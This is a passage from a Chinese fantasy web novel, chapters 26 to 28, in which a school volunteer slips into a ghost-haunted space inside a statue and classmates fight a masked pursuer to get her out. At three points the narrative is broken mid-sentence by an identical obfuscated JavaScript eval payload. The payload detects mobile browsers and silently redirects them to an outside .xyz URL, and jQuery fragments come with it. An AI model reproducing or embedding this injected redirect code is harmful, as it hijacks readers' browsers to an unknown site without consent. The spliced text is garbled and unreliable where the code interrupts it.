那渊来到三楼，偌大的露天网球场，他一眼看到了隔着大老远趴在栏杆上的白佳果。 白佳果同样注意到了他们，于是从栏杆边离开，走到桌前坐下，等他们靠近，开始自己的工作。 白佳果将三张线索卡牌倒扣放在桌上，让他们自己选一张，选完后离开。 那渊没看桌上的卡牌，而是问她：“刚刚他们打起来没伤到你吧。” 白佳果一时有些恍惚，仿佛回到了上辈子，那渊经常会在遇到危险后，第一时间确认她的情况，问她有没有受伤。 一次两次还好，次数多了，宿谬他们难免觉得那渊太夸张，白佳果又不是瓷娃娃。但白佳果不会嫌他烦，白佳果珍惜别人对她的关心，无论多少次都会非常耐心，甚至有些骄傲地回答他。 “当然没有！” 大约是做好了心理准备，又或者是上一次的掉眼泪刷新了她的尬点，这次白佳果没让尴尬的情绪影响自己。 她很寻常地回答道：“有结界挡着，我不会有事。” “选卡牌吧。”白佳果提醒他们。 那渊这才去注意桌上的三张卡牌，盲抽看运气，宿谬的缜密派不上用场，他让那渊随便抽。 那渊犹豫了半天，突然问白佳果：“会有人把三张都拿走吗？” 白佳果：“……那叫‘抢’，不叫‘拿’。” 那渊笑起来，听话地改掉了用词，重新问：“那，会有人把三张都抢走吗？” 实践课规定只说了不能攻击志愿者，没说不能从志愿者手里抢东西。 但可能因为她是特殊生，一整个早上都没被抢过，倒是之前偷卡牌那一队，白佳果数了他们归还的卡牌，数目对不上，他们多拿了两张另外的线索卡牌。 介于人都走了，白佳果便没管。 白佳果反问：“你要抢吗？” 那渊想了想：“算了，不抢了，我不想让你生气。” 那渊随便拿走一张卡牌，看完交给宿谬。 宿谬拿出笔记本和地图，开始思考接下来的路线。 白佳果则收起桌上另外两张卡牌，等他们离开。 结果他们丝毫没有要走的意思。 之前因为心情烦躁，行事过于激进的那渊装模作样道：“好累，我得休息一下，其他地方容易被同学盯上，在这里多待一会儿好了。” 宿谬：“我没意见。”然后找了张桌子，坐下重新规划路线图。 宿谬把桌子摆在离白佳果很远的位置，隔了一个球场，那渊也跟了过去。 这么远的距离，白佳果没理由赶人，索性不理他们，继续回到栏杆边，往下看学生打架。 或许是那渊和宿谬在场的缘故，白佳果不想回忆往昔自己虐自己，反而认真看了进去。 之后又有人来到三楼拿卡牌，他们看到那渊和宿谬，表现十分警惕，拿完卡牌怕被抢，急匆匆离开。 白佳果送走第二波拿卡牌的学生，终于转头看向球场另一边的那渊和宿谬。 那渊正在拿卡牌搭塔，注意到白佳果的视线，主动跑过来问：“你找我吗？” 白佳果：“你们要在这里待到什么时候？” 那渊回头看看宿谬，对方合上了手中的笔记，那渊遗憾道：“好吧，我们现在就走。” 那渊三步一回头：“真的不加个好友吗？” 白佳果用沉默拒绝。 那渊跟着宿谬往楼梯口走，半路忽然停住，抢过宿谬的笔记本，撕下一页刷刷一通写，跑回来把纸放到白佳果面前的桌上，怕风吹走还拿文件袋压住。 “这是我的号码，如果你有需要，可以随时找我。”那渊顶着宿谬要杀人的眼神，又补充了一句：“下面那行是阿谬的，如果你真的那么讨厌我的话，打给他也行。” 宿谬不满的表情微微一滞。 清楚宿谬有多不喜欢别人乱动他笔记本的白佳果：“……” 你是真不怕把宿谬惹急了啊。 宿谬很记仇，把他惹急了他是会进行报复的，虽然对待好友的报复大多是恶作剧的程度。 留下号码，两人一块下楼离开，那渊此刻心情虽然遗憾，但总体来讲比实践课刚开始那一会儿好了一大截，和宿谬进行接下来的计划时，态度非常积极。 唯一不对劲的是，他特别在意手机的动静，不是为了上论坛看好心同学分享的任务情报，而是怕白佳果打电话给他没接到。 宿谬朝他泼了盆冷水：“她没有必须给你打电话的理由。” “万一呢，”那渊执拗道：“哪怕有一点的可能，我也不想错过。” ＃ 送走那渊宿谬，白佳果继续工作，顺带围观学生打架。 她的注意力明显比之前专注许多，像资料论文上提到的那样，每个种族都有自己的攻击习惯和缺陷。 比如精灵是天生的弓箭手，不擅长近战是刻进基因里的，哪怕经过后天的训练，专攻近战，是出了名的近战精灵，也只有在切换到远距离攻击的时候，才能发挥出真正的实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686689|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力。 再比如亡灵自带冷气，能从心理上震慑对手，造成恐惧，同时这股冷气也会暴露亡灵的藏匿。 再再比如，矮人本身没有战斗力可言，他们的所有力气都用在了锻造上，所以他们的战斗方式通常是借助他们自己锻造的武器和魔法道具，武器的威力能超越他们自身的极限，可一旦失去外物，他们又很脆弱。 …… 白佳果越看，越是清楚的意识到：“他们要是想杀我，我根本逃不掉。” “你身上这么多防御，怎么逃不掉？”耳麦里，传来魔族老师带着困倦的声音，一听就是刚睡醒。 白佳果：“防御总会被消耗完，只能拖延时间。” 魔族老师：“那就拖嘛，拖到别人来救你，照样能逃离危险。” 白佳果沉默了几秒，笑着应道：“你说得对。” 即便没人来救她也没关系，她是时间囚徒，死了还能重新开始。 午饭是无人机送来的饭盒，参加实践课的学生能去食堂吃饭，按照规定，食堂是全校唯一不允许发生打架斗殴的地方，因此会有学生在论坛约好到食堂做交易，交换线索卡牌，或者进行卡牌和积分宝石的兑换。 下午两点，实践课仍未结束，白佳果发完手上的卡牌，被叫去西校区帮忙。 她先是去了趟西校区的植物园，在植物园的时候收到弥悬的信息，说自己刚刚和队友去体育馆，才知道她已经换了地方，问她现在在哪里。 白佳果回复：【不用特地来找我啦，实践课加油！】 附带一张加油的表情包。 弥悬收藏了这张可爱的表情包，忍不住懊恼，自己应该早点去体育馆的。 虽然…… 他看向同行的队友，虽然作为队长，应该以集体的利益为先，可在通关体育馆二楼，拿到积分宝石，被告知三楼的线索卡牌已经拿完，上面没人之后，他第一次没有开口安慰失落的队友，并萌生了如果自己自私一点，早点来这边就好了的想法。 他很清楚这份想法不是为了拿线索卡牌。 所以当临近实践课结束，收到通知，说特殊生出了点意外，让图书馆附近的学生赶去支援，他没有犹豫便打算过去。 “用不着这么多人吧，万一有谁趁乱打起来，抢卡牌宝石怎么办？”一个兽族学生试图劝阻弥悬：“而且我们这离图书馆又不是特别近，如果是为了额外学分，现在去可能已经晚了，不如先保证能拿到实践课的奖项。” 兽族学生很庆幸自己因为没人组队被安排进隔壁班弥悬的队伍，经过一整天的相处，他知道作为队长的弥悬脾气很好很负责，即便学分够了也不会糊弄实践课，会认真对待每一次任务。可当弥悬的决定和他的利益冲突，他又觉得这份好心太过多余，想劝弥悬想清楚，有时候自私一点不是坏事。 他认为弥悬应该听他的建议，弥悬的回答是：“不用你们，我自己去。” “可是……”兽族学生还想阻拦，因为弥悬是他们的主要战力之一，最能打的走了算怎么回事。 话刚出口，一个队员拍了拍他的肩膀，他回头，发现其他队员全看着他——他们都是弥悬的同班同学。 兽族学生出了一身冷汗，为什么要这么看着他，做出错误决定的不是弥悬吗？ “去吧去吧。”拍肩膀的队员朝弥悬挥挥手，弥悬离开，队员揉了揉兽族学生的头发，告诉他：“我们班一直都是班长说了算，要听话哦。” 26.第二十六章 昏暗的房间，地上布满黑褐色的污渍，还有被撕碎的书本纸张。 破旧的灯光不规律地闪烁，发出滋滋的电流声，白佳果躲在角落的柜子里，闭着眼睛调整自己的呼吸，仔细去听柜子外的动静。 为什么会变成这样，一切要从她忙完植物园的工作说起。 她是被临时叫去植物园帮忙的，需要负责的内容并不多，做完之后其他人还在工作，唯独她一个人闲着没事干。 白佳果是那种别人都在自己面前忙的情况下，不好意思干坐着的类型，因此看志愿者群里说天文馆那边缺人，她便想着去帮帮忙。 谁知走到半路又收到信息说天文馆那边人已经补齐，剩下的志愿者返回早上的教室，归还制服、耳麦，还有飞行摄像头就能收工离开。 到这里还没什么，偏偏从天文馆到教室，途径图书馆。 如果再给白佳果一次机会，她绝对不会！绝对不会秉持着“来都来了”的精神，在路过图书馆的时候，绕去图书馆门口，到自动贩卖机买葡萄汁。 她当时还寻思图书馆门前的林道上一个人没有，应该不会撞上学生打架斗殴，没想到图书馆隔壁的艺术楼打了起来。 非要嘴馋喝葡萄汁的她还没走到图书馆门口，先是感觉到空气中传来不详的震动，接着一道攻击轰平了艺术楼和林道之间的树木，余波震得她差点没站稳。她见状不对加快脚步，甚至跑了起来，却还是被紧随而来的爆炸掀起的爆风刮飞。 白佳果狼狈地在地上滚了两圈，志愿者制服上的防御让她没有受伤，就连同样被爆风刮起的断枝碎石也被防御一一挡下，没有直接砸在她身上。 最后她抓住林道另一边的树木，抱着树干又顶了两波来自隔壁的冲击，等到终于安静，才晕头转向一瘸一拐地从地上爬起来，一步步回到林道旁，思索着接下来该往哪走。 她的注意力全在隔壁艺术楼，生怕那边再来一次，她得立马找个东西抓住，免得又被掀飞。 肾上腺素飙升导致的心跳加速令她有些不适，她撑着身旁的应索雕像缓了缓，然而掌心感觉到的湿润令她的头皮一下子就炸开了。 那一瞬间，她祈祷是雕像上有水，无论是雨水还是别的什么，哪怕是新鲜的鸟粪也行，大不了她去多洗几遍手，偏偏都不是，是她刚刚抓树干摩擦破皮，从掌心蹭出来的血。 白佳果抬头看向雕像的侧脸，心想等从雕像里出来，她一定要拿个兔耳发箍给这位学校创始人戴上。 接着她消失在了原地。 消失的白佳果出现在一条破旧脏乱、灯光昏暗的走廊上。 仔细看能看出来，这条走廊和学校图书馆四楼的走廊特别像，但白佳果不会误以为自己在图书馆——她很清楚，这里是雕像内的异空间。 异空间内部是学校的样子，不过左右颠倒，目之所及的一切，跟现实里的学校是反着的。 白佳果拿出手机看了眼，没信号，她挣扎着试了一下，信息无法发送，电话打不出去，和上辈子一模一样。 行吧，那也只能跟上辈子一样，努力去雕像那了。 雕像是异空间的门，通过门能进入或离开这里。 至于为什么要用“努力”这个词…… 白佳果听到左边走廊传来东西被踢开的声音，赶紧转身，轻手轻脚朝另一边的消防楼梯走去。 ——异空间里有戴着裂嘴笑面具的幽魂，不能被发现，不然会被攻击。 上辈子校运会，她不小心把自己的血蹭到了雕像上，和牵着手的纷赫琳一起，当着那渊他们的面进入了异空间。 她们第一次来，不确定要怎么出去，只能依靠猜测躲开幽魂跑去校门口。 结果校门口是异空间的边缘，是死路，她们俩差点被幽魂包围，好在宿谬找到进入雕像的办法，进入异空间后在其他地方弄出动静，引走了幽魂。 他们两边虽然没有碰面，但都觉得雕像是关键，这才找对方向，并在雕像前汇合，通过雕像安全离开异空间。 进入异空间后的落点是随机的，上辈子白佳果和纷赫琳被传送到异空间内的东校区教学楼，那渊他们四个男生在西校区白骨林附近，过来这边废了不少功夫。 这次她在图书馆，只要下楼，到图书馆外的林道上，触碰雕像就能离开。 应该能做到吧…… 白佳果不是很有信心。 正心烦意乱，她的外套口袋动了动，吓得她差点心脏骤停。 好在她及时想起来：之前接到通知，让志愿者回教室集合，魔族老师一看通知便愉快地表示自己下班了，说完毫不迟疑地关停耳麦和摄像头，白佳果怕弄丢，便把停止飞行关闭摄影的摄像头塞进了口袋里。 白佳果把口袋里的摄像头掏出来，松开手，摄像头飞起来转了一圈。 耳麦中传出魔族老师的声音：“唔？你进应索的花园了？” 什么玩意儿？摄像头和耳麦居然还能用？ 白佳果压低声音，不敢置信道：“老师？” 魔族老师：“昂，突然感觉摄像头好像不在学校里了，打开看看。” “不、不是，为什么……手机用不了，为什么耳麦跟摄像头还能用？”白佳果极力压制自己的音量，仍旧难掩激动。 魔族老师笑了一声：“这可是锻造系主任准备的通讯工具，按规格都能直接拿去执行特殊任务了，也就第一学院能这么奢侈。” 白佳果差点落泪，太好了，她不是一个人。 魔族老师：“你怎么进去的？” 白佳果：“我的血沾应索的雕像上了。” 魔族老师：“哦，差点忘了你是梵忱和续明的女儿，他们俩继承了应索的花园，用你的血自然也能进来。” 白佳果：“……嗯。” 上辈子白佳果和那渊等人刚离开异空间，转头就碰见了校长。 校长是特地赶来的，雕像上有他设置的魔法，能感应到是否有学生进入了异空间。 校长将他们带去办公室，和他们说了异空间的来历——这是应索给学生们留下的惊喜，只要破解雕像谜题，就能进入其中。 能发现雕像上有谜题的学生并不多，他们默契地保持沉默，并把这里称作“应索的花园”。 不过在三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696669|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十年前，校方抹掉了藏在雕像上的迷题，并让知道如何进入雕像的学生不要再进去，原因是里面滋生了幽魂。 没有主人的异空间会慢慢失去控制，滋生幽魂便是失控的征兆。 可在魔法世界，多的是爱作死的学生。 比如白佳果的父母。 他们从已经毕业的前辈那里得知异空间的存在，要来了进入异空间的办法，跑进去探险，不料运气太好，阴差阳错继承了异空间。 “按理来讲。”校长说：“有了主人的异空间不会再失控，可我们等了很多年，花园的情况没有再恶化，却也并未好转——就像你们看到的那样，里面依旧布满幽魂，所以直到今天仍旧没有重新开放花园。” 校长希望他们保密，避免有学生非要进入雕像，造成意外事故。 至于为什么不直接关闭雕像入口，而是在入口设置感应魔法。 校长无奈地解释：“花园无法关闭，这是创校人应索先生的设定。应索先生确实是位伟大的魔法师，然而他在某些方面的坚持实在令人无可奈何。” 校长的担忧不无道理，白佳果的父母会把这种地方称作“惊喜”推荐给白佳果，魔族老师也认为花园可以重新开放，反正不会进一步失控，幽魂有什么好怕的，实在不行借给他上体育课，体育课上乱来的小崽子们可比幽魂棘手。 白佳果进入消防楼梯，耳麦里魔族老师说：“不用这么害怕，你身上的防御足够你撑到雕像那。” 话是这么说，但为了以防万一，他还是发通知让在图书馆附近的学生过来支援一下。 他知道进入异空间的办法，当年就是他去老同学泛理家做客的时候，跟当时还是学生的梵忱——也就是白佳果的父亲——闲聊提起了雕像异空间的存在。 如今白佳果能仅凭自己的血进入异空间，也有他的一份功劳。 白佳果顺着楼梯往下，刚到三楼，听见下面传来吱呀声响，从距离判断应该是一楼消防门被打开的声音。 脚步声越来越近，三楼的消防门是关着的，打开可能会和一楼的门一样有声音，于是她回头，折返四楼。 魔族老师：“你不如直接往下冲跑快一点，反正幽魂的思考能力有限，你用身上的防御扛几下攻击，说不定这会儿已经离开花园了。” 白佳果不听他的，她才不要和幽魂正面对上。 好在，没等她回到四楼，从半开的消防门挤进去，二楼便传来消防门被打开的声音，脚步声消失，幽魂似乎进了二楼。 白佳果松一口气，正要继续往下，却在余光扫到自己手上的戒指时，把那一口气憋了回去。 十几秒后，隐去脚步声的幽魂根据感应来到三楼和四楼之间的缓步台，从地上捡起那枚镶嵌橄榄绿色魔法晶石的戒指。 晶石切面上倒映出无数张雪白的裂嘴笑面具，没有跟着白佳果飞走的摄像头静静地悬停在幽魂身后的窗户外，在幽魂突然转身的前一秒飞开，躲到墙后。 折返四楼另外寻找楼梯的白佳果听见魔族老师说：“收回我之前的话，这群幽魂好像进化成了我不熟悉的样子，你躲开是对的。” 27.第二十七章 学校监控室内，魔族老师把白佳果的监控让给同事，打算亲自进入异空间，看看那些不对劲的幽魂都进化到了什么程度。 “校长那边联系不上，估计还在开会。”另一个同事放下手机，对他们说。 校长在两天前出发去了别的城市，参加学术交流会。 “那我们争取早点结束这场意外吧。”同事说。 魔族老师最后看了眼屏幕上的监控内容，逐渐拉高的摄像头视角把图书馆附近的画面都拍摄了进来，光在户外就能看见不少戴着面具徘徊的幽魂，建筑内估计更多。 “希望只是一场意外。” # “通知说白佳果在异空间的图书馆里对吧。”收到通知时，那渊和宿谬不在图书馆附近，但宿谬可以预料到那渊会做什么，果然下一秒，那渊恢复龙族形态，二话不说抓着他往图书馆飞。 通知里简单说明了异空间的情况，以及进出异空间的办法，等他们抵达雕像，已经有同学进去了，他们跟着进去，被传送到西校区南边的宿舍楼。 他们运气不好，落点的位置正好有幽魂，一落地就和幽魂打了起来，并因此引来了更多的幽魂。 那渊用龙族形态喷火，幽魂们的反应非常快，纷纷竖起防御，部分幽魂的防御结界无法抵挡高温，连自身带结界一起，被龙族的焰火烧为灰烬。 那渊用火争取到时间，再一次抓住宿谬就飞。 他很清楚自己进来的目的，不是为了清除幽魂，而是为了带白佳果离开这个危险的地方。 他们上次进来差不多也是这样，打完就跑，不然容易被越来越多的幽魂包围，所以他们没发现，那些被他们弄死的幽魂无论最后变成什么样，都会有透明气泡一样的灵体析出，朝着同一个方向聚集…… # 退回四楼的白佳果没来得及找到另外的楼梯，被前后堵路的幽魂逼进一间自习室。 自习室外面是一个小露台，有往上的梯子，白佳果又顺着梯子往上爬到了五楼。 图书馆五楼是仓库和办公室，白佳果路过一间办公室，在办公室里发现散落一地的药剂，拿起来看了看标签，挑着效果能用的，揣身上以防万一。 她注意到几瓶速眠剂里，有一瓶格外重一点，但她还是带上了。 五楼的幽魂比较少，白佳果拿走药剂，找到楼梯。 这段楼梯经过四楼，到三楼为止，需要在三楼绕一大圈，到对面的楼梯才能继续往下。 “前面有幽魂，你躲一下。”耳麦里传来另一位老师的声音，魔族老师将监控让出去后，耳麦里跟白佳果说话的便换成了这位姓“杉”的老师。 杉老师操控摄像头给白佳果开路，帮助白佳果躲开幽魂。 白佳果一听，迅速在附近找了个房间躲进去，这个房间乱七八糟看不清原样，大概是阅览室，她没有待在门口等幽魂走远，而是找了个空柜子把自己藏进去，免得幽魂突然开门进来。 非常谨慎。 杉老师见状关掉耳麦笑了一声，免得伤到特殊生的自尊心，只是这也未免太胆小了。 他透过摄像头看着幽魂路过白佳果藏身的房间，慢慢走远，刚想打开耳麦，对她说可以出来了，结果那只幽魂又原路返回，慢慢走到白佳果藏身的房间门口，停住脚步。 杉老师坐直了身，打开耳麦：“幽魂在门口，你别出来。” 白佳果闭上眼睛，静静地听外面的动静。 灯光闪烁，监控屏幕前的杉老师跟着紧张起来，另外几名同事也凑过来，大气都不敢出，看着幽魂抬手，开门—— “霍迦？霍迦你人呢？！你不是进去了吗？！怎么还没到特殊生那？！！” 杉老师切换频道，催促魔族老师去找白佳果，整个人看起来比白佳果这个当事人还不淡定。 被传送到异空间东校区的魔族老师此刻正站在高空，平时嫌碍事收起来的巨大骨翼在他背后展开，他点了根烟，含混的声音被高空凛冽的风吹散：“我什么时候说我是进来接特殊生的。” 他从一开始说的，就是进来看看幽魂。 “她被幽魂发现了？”霍迦问。 杉老师看了眼监控，幽魂进入房间，在窗户前站定，没有打开柜子。 “目前还没。”杉老师说。 “那就没事，”霍迦远远看见一只黑色的龙朝图书馆飞去，“你让她藏好，一直藏着也行，很快就有龙到她那了。” “龙？是龙族的学生吗，那就好那就好。”杉老师稍稍安定，又切换回白佳果的频道，让她藏好不要动，幽魂还在房间里。 耳边恢复清净，霍迦吸了口烟，转身，看向刚出现在他身后约摸十米外的幽魂。 对方脸上带着裂嘴笑面具，身上穿着一袭标准的晨礼服，头戴大礼帽，帽下的深灰色长发在后颈束成低马尾，手中杵着一支手杖。 远处传来爆炸声，大概率是进入异空间的学生跟幽魂打了起来。 霍迦的暗紫色横瞳微微转动，他注意到有透明气泡一样的东西从四面八方凝聚而来，融进晨礼服幽魂的衣角。 “你不是幽魂。”霍迦问：“你是谁？” # 爆炸声响起，窗前站立不走的幽魂终于离开。 白佳果又等了一会儿，才从柜子里出来。 “快快快。”杉老师催促道：“赶紧走赶紧走赶紧走。” 白佳果：“老师，冷静。” 杉老师哽住。 白佳果离开房间，继续朝楼梯走去，她刚下二楼就听到了打架的动静。 杉老师：“可能是来接你的学生遇到幽魂了，来的人不少，你别管，继续下楼。” 话落，一个穿着校服的男生如同沙袋一样被扔出来，狠狠撞到了走廊拐角的墙上。 “操！”男生想爬起来，没成功，骂了一声，尾音还没消散，就吐了一大口血。 男生发现了白佳果，和耳麦里的杉老师一同对她说：“快走！” 只是一个声音尖锐，一个声音嘶哑。 走廊拐角的地方，一只戴面具的幽魂慢慢走出来，它身上穿着衬衫和长裤皮鞋。 上辈子白佳果就发现了，幽魂里面，衣着越华丽，越是狡猾难对付，那些统一披着黑袍的，看着吓人实际最弱也最笨。 幽魂看到白佳果，丢下已经起不来的男生，调转步伐走向她。 男生抓住幽魂的脚：“走啊！吓傻了吗！” 幽魂一脚把他踹开，继续走向白佳果。 白佳果低头在口袋里掏，掏出几个药剂瓶子，铆足了劲朝幽魂狠狠扔过去。 那些药剂瓶子在碰到幽魂的前一刻被魔法悬停，男生气得吐血：“白……”痴。 很迅速的几声枪响，子弹没有瞄准幽魂，而是将瓶子打碎，里面的药剂炸了幽魂满身。 这几瓶都是皮肤吸收的强效速眠剂，身躯高大的幽魂晃了晃，轰然倒下。 男生：“……” 杉老师：“……” 监控室里其他老师：“哇——” 白佳果拖着有些发软的双腿走过去，尽量不看那个让她浑身难受的面具，眯着眼朝地上的幽魂的头部开了两枪，确定已经死透了，转头问男生：“你刚刚要骂我什么？” 男生：“……对不起。” “佳果！”那渊听到枪声从一楼冲上来，看见白佳果，跑来抓着她左右看了看：“你没事吧！有没有受伤？！” 宿谬蹙眉：“那渊！” 那渊反应过来连忙松手：“对不起对不起，我太着急了。” 其实很习惯被他触碰的白佳果：“……我没事。” 她指了指倒地的男生：“他好像不太行了，还有我刚刚开了枪，应该会有幽魂往这边来，我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713938|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快走吧。” 如白佳果预料的那样，宿谬刚用魔法把男生提起来，便有听到枪声的幽魂朝他们这聚集。 那渊护着白佳果下楼，突然有什么东西飞到白佳果脸上，白佳果还以为是飞虫，用手挥开。 “嗷！” 白佳果：“……？什么声音？” 那东西又一次飞过来，被那渊一把抓住。 那渊摊开手，是一只被捏到七荤八素的……布人偶？ 人偶很小，深灰色的麻绳做头发，黑曜石做眼睛，背上有一对翅膀，做工简单粗糙，宛如孩童拙朴的蜡笔画。 白佳果从那渊手中拿过这只人偶，下一秒，他们即将要迈出去的图书馆大门被人从外面轰碎，那渊抱住白佳果，转身后背展开防御结界，在结界破碎后用身躯挡下了所有冲击。 龙族的体魄足够强健，加上白佳果体型比他小很多，几乎是整个被他护在了怀里。 轰碎大门的，正是此前在高空与霍迦对上的晨礼服。 他抬手，手中魔力还未集聚，一条锁链像蛇一样从背后蹿出来困住他的手腕。 “打着打着跑了算怎么回事？”霍迦缓缓落下，语气还是那样的懒散不着调，用眼神示意白佳果几个快走。 那渊反应迅速，背后展开龙翼，抱起白佳果就逃，宿谬带着受伤的男生紧随其后。 晨礼服扯断锁链，反手一个禁锢魔法，将此前打得有来有回的霍伽锁进如同棺材的盒子里，又有无数剑刃凝聚，从四面八方捅进棺材。 鲜血从棺材里流出，晨礼服没有再施舍半分目光，径直去追白佳果。 晨礼服的实力不容小觑，那渊无比庆幸因为实践课解开了入学禁制，不然他没办法保证自己能带着白佳果和对方周旋。 那渊抱着白佳果狼狈窜逃，每次想要靠近雕像离开异空间，都会受到更加凶狠的攻击，他一次次死里逃生，最后好不容易要碰到雕像，晨礼服手杖一挥，直接把雕像炸了。 那渊抱着白佳果躲开，用龙翼挡下飞溅的碎石。 潜能被激发到极致，他的脸上、手臂上出现了黑色的鳞片，金色的眼睛如岩浆流动，竖尖的瞳孔让他看起来凶恶得像只野兽，就连抱着白佳果的双手也长出了利爪，可从他没让爪子碰伤白佳果就能看出来，他还有理智。 没人能彻底毁掉雕像，可要等雕像恢复，需要至少半个小时——他们第一次离开异空间后，虽然被校长叫去谈话，了解了异空间的来历，但就像那渊被煅嘉以欺骗导致他不再轻信别人那样，宿谬也变得习惯自己去确认信息的真实性。 而不是只听一个人说什么便信什么。 宿谬找毕业至少三十年以上的学兄学姐仔细打听，从进入过异空间的前辈们那里知道了不少关于异空间的情报，其中就包括作为异空间出入口的雕像要是被毁了会怎么样。 半个小时，至少再拖半个小时。 那渊带着白佳果逃避晨礼服的穷追猛打，宿谬发现晨礼服的目标不包括自己，让那渊自己撑一下，转头绕到别的地方，把受伤昏迷的男生交给附近清除幽魂的同学。 赶回去的路上，他碰到了双胞胎和纷赫琳，他忽然有个想法，就是不知道能不能行…… 那渊被晨礼服撵着逃，中途遇到同学想要帮他，可惜都被晨礼服一杖打飞。 这到底是个什么东西！！ 那渊的直觉非常敏锐，他能感觉出来，对方的实力还在不断攀升，继续下去，他不确定自己能不能拖上半个小时。 就在他感到焦躁，判断逐渐出现错误的时候，一只手抚上了他的脸颊，柔软的掌心覆盖上他坚硬灼热的鳞片。 “不慌，那渊。” 白佳果说，声音是那样的清晰，拥有魔力一般，替他挥散混乱。 “你可以的，保持冷静，然后，听我指挥。” 就像上辈子那样。 28.第二十八章 那渊在空中一个大甩尾，避开晨礼服的攻击，折回图书馆的方向，迎面接应上带着双胞胎跟纷赫琳赶来的宿谬。 作为人鱼族的双胞胎不擅长高空对敌，所以主要帮忙对付晨礼服的是宿谬和纷赫琳。 纷赫琳的天赋能力不稳定，但好在她本身是魔族，就算没办法依赖天赋能力，还有魔族都引以为傲的战斗本能。 唯一值得担忧的，是纷赫琳与那渊不熟，她已经做好了两边没办法配合，一加一小于二的心理准备，让她意外的是，那渊似乎很熟悉她的习惯，合作对付晨礼服的过程中，居然没有发生他们互相拖后腿的意外。 真要说有什么令人不满意的，大概就是——太碍眼了。 那渊总会出现在她的视野里，让她忍不住分神。 好在也是因此，她第一时间注意到那渊松开了手，一直被他抱着的白佳果就这么从高空坠落，她想也不想便冲了上去，准备把白佳果接住。 高空坠落的白佳果注意力全在放开她后变回龙族形态的那渊身上。 要说服那渊松开她真的好难，比上辈子难多了，至少上辈子那渊跟双胞胎还有纷赫琳很熟悉，相互之间有信任，这辈子连基本的信任都没有，全靠白佳果威逼利诱。 期间因为那渊的抗拒，错过了许多次好时机，气得她抓狂，最后她掏出那把黑金小手枪，先是往那渊胸口怼了怼，对方无动于衷，又调转枪口对准自己，才终于让对方听话。 白佳果等着纷赫琳来接住她，有那么一瞬间，她感觉自己回到了上辈子，和五人组总是混在一块的时光。 这也是白佳果最不愿想起的记忆，每每触及，都尴尬得她想发出怪叫。 然而在此刻，一个念头突然从心底冒出来—— 他们真的会那样对她吗？ 她所了解的他们，真的会说出那样令她伤心难过的话吗？ 上辈子最后一次见的是纷赫琳跟双胞胎，见过他们之后，她便再也没有过这样的怀疑，如果那面“墙”是纷赫琳的手笔…… 一个恍神，她已经被接住。 但接住她的并不是纷赫琳。 巨大的骨翼展开，魔族的骨翼总是各有特色，比如霍迦，他的黑色骨翼从背后的肩胛骨长出来，看似是普通翅膀的形状，实际比寻常魔族的骨翼要大一倍，色泽如金属，末端尖锐似弯刀。 又比如纷赫琳，她的骨翼像晶莹剔透的水晶，三层的结构看上去像是六翼，浸入水中会完全看不见。 而眼下接住她的人，骨翼从腰侧展开，骨头是非常漂亮的银灰色，舒展开的部分区域覆盖着一层半透明的膜，外形宛如华丽阴森的艺术品。 高空的风吹起他平日里普通寻常的黑色短发，一直戴着的眼镜不知道哪去了，夕阳光落下，在那双经常被误会是黑色的眼睛里折射出深暗的紫。 明明还是那张温和无害的俊秀面容，却在摘掉眼镜，被风吹乱头发后，显出几分莫名的冷意与攻击性。 弥悬？ 白佳果诧异。 纷赫琳迟了半秒，不得不用一个空中急绕含恨避开弥悬，免得撞车伤到对方怀里的白佳果。 好！碍！事！！ 简直比那渊还要碍事！！ 弥悬没办法停下来问白佳果的情况，因为晨礼服转头又针对上了他。 白佳果由此确定：“那只幽魂的目标在我身上。” 弥悬注意到，白佳果说的是“在我身上”，而不是“是我”。 说明白佳果很可能已经知道对方追着她的目的。 “往南边，朝图书馆的方向。” 白佳果用了上辈子指挥五人组的语气，弥悬下意识照做，做完才反应过来，那又是他没见过的，白佳果的另一面。 弥悬不像那渊会完全听白佳果的指挥，但又比那渊轻松，因为在白佳果要求他松手的时候，他虽然迟疑，可还是选择相信白佳果，松开了手。 其实在松手的那一刻弥悬就后悔了，好像每一次都是这样，过往对待其他人事物的经验完全不能用来对待白佳果，一旦这么做，他必然会后悔。 即便可以做出纠正，他还是会耿耿于怀，并清楚地意识到，白佳果不一样。 她是不一样的。 那些他所习惯的、一视同仁的温柔和体贴信任落在她身上，太轻了，完全不够。 弥悬看着黑龙飞掠过来接住白佳果，按照白佳果先前说的，在双胞胎动手的那一刻打掩护。 晨礼服的动作出现了迟疑。 它像是陷入了混乱，但依旧选择攻击，直到击中黑龙，震天的龙啸后，没有鲜血也没有坠落的巨龙，一切都消散无踪，那渊已经带着白佳果逃出很远。 双胞胎联手制造的幻术，加纷赫琳的感知扰乱。 